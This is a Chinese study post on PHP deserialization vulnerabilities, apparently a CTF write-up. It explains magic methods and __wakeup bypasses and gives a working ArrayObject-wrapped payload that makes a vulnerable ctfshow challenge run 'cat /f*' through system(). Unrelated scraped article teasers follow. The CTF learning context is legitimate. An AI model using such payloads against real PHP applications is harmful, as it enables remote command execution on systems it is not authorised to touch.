初步了解序列化和反序列化

01什么是序列化和反序列化

序列化是将对象转化为字符串以便存储的一种方式。而反序列化恰好是序列化的逆过程,反序列化会将字符串转化为对象供程序使用。

常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

02什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如wakeup(),destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

03序列化格式中的字母含义:

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

04魔术方法

例题1(几乎不会涉及较复杂绕过):[SWPUCTF 2021 新生赛]ez_unserialize

 

__wakeup()方法漏洞

漏洞影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10

影响原因:若在对象的魔法函数中存在_wakeup方法,那么之后在调用unserilize()方法进行反序列化之前则会先调用 _wakeup方法

属性个数不匹配

利用方法:当序列化字符串中表示对象属性个数值大于真是属性个数时会跳出wakeup执行

方法原理:反序列化是一个正向检索的函数,虽然对于整体来说,数量不符,无法完成反序列化,但是可以尽可能检索能够完成反序列化的目标,所以这里数量改多了,会先依次反序列化已有个单位,直到无法检索到下一个目标才判定反序列化失败。 所以当然可以触发__destruct(),完成前面属性的赋值。

eg:[SWPUCTF 2021 新生赛]no_wakeup

 

unserialize3 反序列字符串绕过

C绕过wakeup

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会

被自动调用。

跟着大佬走一遍(这部分几乎完全跟着大佬博客走着学了一遍):

引入

 //引入<?phpclass AAA {​public function __wakeup() {echo "__wakeup";}​public function __construct(){echo "__construct".PHP_EOL;//换行符}​public function __destruct(){echo "__destruct".PHP_EOL;}}​$a = serialize(new AAA());$mod = str_replace("O:","C:",$a);//这里是将O:替换成c:为了绕过题目中不允许的地方echo $mod.PHP_EOL;​$unserialized = unserialize($mod);var_dump($unserialized);?>
 //回显__construct__destruct C:3:"AAA":0:{}Warning: Class AAA has no unserializer in E:\workspace2024\learn_php\test02.php on line 21object(AAA)#1 (0) { } __destruct

O被替换成了C以后,生成的序列化字符串被认为可调用

扩展

C这个标识符,其实也是代表实现了 Serializable接口的类,因为实现Serializable接口,我们必须要重写serialize和unserialize方法

 ​<?php//定义的AAAA的类可以实现Serializable接口,意味着该实例可以被序列化和反序列化class AAAA implements Serializable{public $name="aa";public $age="bb";public function serialize() {//return serialize(array('name' => $this->name,//这是一个键值对。键是字符串 'name',值是从当前对象的 $name 属性中取得的。$this 是PHP中的一个特殊变量,它引用当前对象。        'age' => $this->age));}public function unserialize($data) {$data = unserialize($data);$this->name = $data['name'];//从反序列化后的数组$data中提取'name'键的值,并将其赋值给当前对象的$name属性。$this->age = $data['age'];}public function __construct(){echo "__construct\n";}public function __wakeup() {echo "__wakeup()";}public function __destruct(){echo 2222222;}}$a = new AAAA();$b = serialize($a);echo $b.PHP_EOL;$c = unserialize($b);var_dump($c);
 //回显Deprecated: AAAA implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in E:\workspace2024\learn_php\test02.php on line 2__construct C:4:"AAAA":45:{a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}} object(AAAA)#2 (2) { ["name"]=> string(2) "aa" ["age"]=> string(2) "bb" } 22222222222222

利用

 ​<?php​// 获取所有已定义的类$classes = get_declared_classes();$serializableClasses = [];​// 遍历所有类foreach ($classes as $class) {// 创建反射类对象$reflection = new ReflectionClass($class);// 判断类是否实现了 Serializable 接口if ($reflection->implementsInterface('Serializable')) {// 将实现了 Serializable 接口的类添加到数组中$serializableClasses[] = $class;}}​// 输出实现了 Serializable 接口的所有原生类foreach ($serializableClasses as $class) {echo $class . PHP_EOL;}?>

这里使用第一个,先生成一个,放到反序列化看看

 <?phpclass AAAA{public $name=1;public $age=2;}$a = new ArrayObject;$a -> a = new AAAA;echo serialize($a);//C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}

 <?phpclass AAAA{public $name="aa";public $age="bb";​public function __wakeup() {echo "__wakeup\n";}public function __construct(){echo "__construct\n";}​public function __destruct(){echo 2222222;}}​$c = unserialize('C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}');var_dump($c);?>

最后发现并没有绕过wakeup,但是也可以当作一种绕过。emmm

eg:ctfshow愚人杯 easy_php

ctfshow愚人杯 easy_php

 <?php​error_reporting(0);highlight_file(__FILE__);​class ctfshow{​public function __wakeup(){die("not allowed!");}​public function __destruct(){system($this->ctfshow);}​}​$data = $_GET['1+1>2'];​if(!preg_match("/^[Oa]:[\d]+/i", $data)){//说明不可以使用O:,或者a:开头unserialize($data);}​?>

wp:

 <?phpclass ctfshow{public $ctfshow="cat /f*";//列出所有以f开头的文件
}
$A=new ArrayObject;//ArrayObject 是 PHP 的一个类,用于实现数组作为对象的接口。
$A->a=new ctfshow;
echo serialize($A);//输出代表 $A 对象的状态。这个字符串包含了 $A 对象及其属性 a(该属性是一个 ctfshow 对象)的信息。
?>

不知道为什么自己的一直没有实现,最后经大佬指点发现是php编译器问题最后换了一个方式找到答案。

 C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

 payload:?1%2B1%3E2=C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

参考:反序列化漏洞详解-CSDN博客v99pc_search_result_base8&utm_term=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187

PHP序列化和反序列化-CSDN博客v99pc_search_result_base8&spm=1018.2226.3001.4187

PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)_wakeup的漏洞-CSDN博客

ctfshow 第三届愚人杯 easy_php_愚人杯3rd [easy_php]-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/746800.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

姿态旋转的哥氏定理以及速度微分的推导

姿态旋转中涉及到坐标系的转换&#xff0c;在有相对旋转的两个坐标系中观察一个向量的变化&#xff0c;用到了哥氏定理。 例如在i系中观察e系下的运动&#xff0c;则 哥氏定理的公式 wie是e相对于i的角运动 注意符号i在前e在后。 wie是e相对于i的角运动 注意符号i在前e在…

R语言:如何基于地球外辐射(Ra)和相对日照(n/N)计算太阳辐射Rs?

正在编写相关软著&#xff0c;借此机会了解R语言的基本语法和一些处理流程&#xff0c;所以解释稍微繁琐。 Note&#xff1a; 使用的R语言版本是 R version 4.3.2 (2023-10-31 ucrt) 使用的RStudio编辑器版本是&#xff1a; 01 基于随机森林的插值填补缺失值 这是目前处理…

深入探索C与C++的混合编程

实现混合编程的技术细节 混合使用C和C可能由多种原因驱动。一方面&#xff0c;现有的大量优秀C语言库为特定任务提供了高效的解决方案&#xff0c;将这些库直接应用于C项目中可以节省大量的开发时间和成本。另一方面&#xff0c;C的高级特性如类、模板和异常处理等&#xff0c;…

mysql数据库中查询重复数据和去重数据

文章目录 1.查找重复数据2. 查到重复组的唯一数据3.删除重复数据4.注意重复的内容和删除的记录数是否一致 1.查找重复数据 select gene_entrez_id,count(*) a from diag_gene GROUP BY gene_entrez_id HAVING a > 12. 查到重复组的唯一数据 原理 分组后如果组内多个数据…

跨境电商干货|如何在Snapchat上做电商?

Snapchat是一个与用户互动与创意内容为主的平台&#xff0c;也因其广阔的受众群体广受跨境电商卖家的喜爱&#xff0c;成为跨境出海的热门渠道之一。本文将为大家分享&#xff0c;要在Snapchat上进行电子商务&#xff0c;可以遵循以下步骤&#xff1a; 1、创建商业账户 在Snap…

卷积的九大变体算法

注意&#xff1a;本文引用自专业人工智能社区Venus AI 更多AI知识请参考原站 &#xff08;[www.aideeplearning.cn]&#xff09; 引言 卷积神经网络&#xff08;CNN&#xff09;的核心在于其多样化的卷积技术&#xff0c;每种技术针对不同的应用和性能需求有着独特的优势。逐…

力扣46. 全排列

Problem: 46. 全排列 文章目录 题目描述思路及解法复杂度Code 题目描述 思路及解法 回溯可以理解为是在对一个多叉树的操作 1.回溯结束条件&#xff1a;当决策路径的长度等于nums数组的长度时&#xff0c;将当前的结果添加到二维结果集res中&#xff1b; 2.每一次决策的选择处…

Qt 图形视图 /基于Qt示例DiagramScene解读图形视图框架

文章目录 概述从帮助文档看示例程序了解程序背景/功能理清程序概要设计 分析图形视图的协同运作机制如何嵌入到普通Widget程序中&#xff1f;形状Item和文本Item的插入和删除&#xff1f;连接线Item与形状Item的如何关联&#xff1f;如何绘制ShapeItem间的箭头线&#xff1f; 下…

穿越半个世纪,探索中国数据库的前世今生

引言 在数字化潮流席卷全球的今天&#xff0c;数据库作为 IT 技术领域的“活化石”&#xff0c;已成为数字经济时代不可或缺的基础设施。那么&#xff0c;中国的数据库技术发展经历了怎样的历程&#xff1f;我们是如何在信息技术的洪流中逐步建立起自己的数据管理帝国的呢&…

Hadoop大数据应用:HDFS 集群节点扩容

目录 一、实验 1.环境 2.HDFS 集群节点扩容 二、问题 1.rsync 同步报错 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 主机架构软件版本IP备注hadoop NameNode &#xff08;已部署&#xff09; SecondaryNameNode &#xff08;已部署&#xff09; Resourc…

海川润泽AI机器视觉仪系列产品,助推“人工智能+”打开新质生产力的大门

3月5日&#xff0c;第十四届全国人民代表大会第二次会议开幕。国务院总理李强在政府工作报告&#xff0c;提出大力推进现代化产业体系建设&#xff0c;加快发展新质生产力。深入推进数字经济创新发展&#xff0c;制定支持数字经济高质量发展政策&#xff0c;积极推进数字产业化…

零基础自学C语言|动态内存管理

✈为什么要有动态内存分配 我们已经掌握的内存开辟方式有&#xff1a; int a 0;//在栈空间上开辟四个字节char arr[10] { 0 };//在栈空间上开辟10个字节的连续空间但是上述的开辟空间的方式有两个特点&#xff1a; 空间开辟大小是固定的。数组在申明的时候&#xff0c;必须…

【开源】SpringBoot框架开发公司货物订单管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 客户管理模块2.2 商品维护模块2.3 供应商管理模块2.4 订单管理模块 三、系统展示四、核心代码4.1 查询供应商信息4.2 新增商品信息4.3 查询客户信息4.4 新增订单信息4.5 添加跟进子订单 五、免责说明 一、摘要 1.1 项目…

Cap2:Pytorch转TensorRT(上:Pytorch->ONNX)

文章目录 1、pytorch导出onnx模型2、使用onnxruntime推理onnx模型3、精度对齐4、总结 深度学习框架种类繁多&#xff0c;想实现任意框架之间的模型转换是一件困难的事情。但现在有一个中间格式ONNX&#xff0c;任何框架模型都支持转为ONNX&#xff0c;然后也支持从ONNX转为自身…

案例分析篇00-【历年案例分析真题考点汇总】与【专栏文章案例分析高频考点目录】(2024年软考高级系统架构设计师冲刺知识点总结-案例分析篇-先导篇)

专栏系列文章&#xff1a; 2024高级系统架构设计师备考资料&#xff08;高频考点&真题&经验&#xff09;https://blog.csdn.net/seeker1994/category_12593400.html 案例分析篇01&#xff1a;软件架构设计考点架构风格及质量属性 案例分析篇11&#xff1a;UML设计考…

疫情网课管理系统|基于springboot框架+ Mysql+Java+Tomcat的疫情网课管理系统设计与实现(可运行源码+数据库+设计文档+部署说明)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 目录 前台功能效果图 ​编辑 学生功能模块 管理员功能 教师功能模块 系统功能设计 数据库E-R图设计 lun…

Ubuntu上搭建TFTP服务

Ubuntu上搭建TFTP服务 TFTP服务简介搭建TFTP服务安装TFTP服务修改配置文件 重启服务 TFTP服务简介 TFTP是一个基于UDP协议实现的用于在客户机和服务器之间进行简单文件传输的协议&#xff0c;适用于开销不大、不复杂的应用场合。TFTP协议专门为小文件传输而设计&#xff0c;只…

虚拟游戏理财 - 华为OD统一考试(C卷)

OD统一考试&#xff08;C卷&#xff09; 分值&#xff1a; 100分 题解&#xff1a; Java / Python / C 题目描述 在一款虚拟游戏中生活&#xff0c;你必须进行投资以增强在虚拟游戏中的资产以免被淘汰出局。 现有一家Bank&#xff0c;它提供有若干理财产品m&#xff0c;风险及…

【PHP安全】PHP伪协议

PHP伪协议&#xff1a; file:// #访问本地文件系统http:// #访问HTTPs网址ftp:// #访问ftp URLphp:// #访问输入输出流zlib:// #压缩流data:// #数据&#xff08;RFC 2397&#xff09;ssh2:// #security shell2expect:// #处理交互式的流glob:// #查找匹配的文件路径phar:// #P…

Siamese Network(孪生神经网络)详解

Siamese和Chinese有点像。Siam是古时候泰国的称呼&#xff0c;中文译作暹罗。Siamese也就是“暹罗”人或“泰国”人。Siamese在英语中是“孪生”、“连体”的意思&#xff0c;这是为什么呢&#xff1f;十九世纪泰国出生了一对连体婴儿&#xff0c;当时的医学技术无法使两人分离…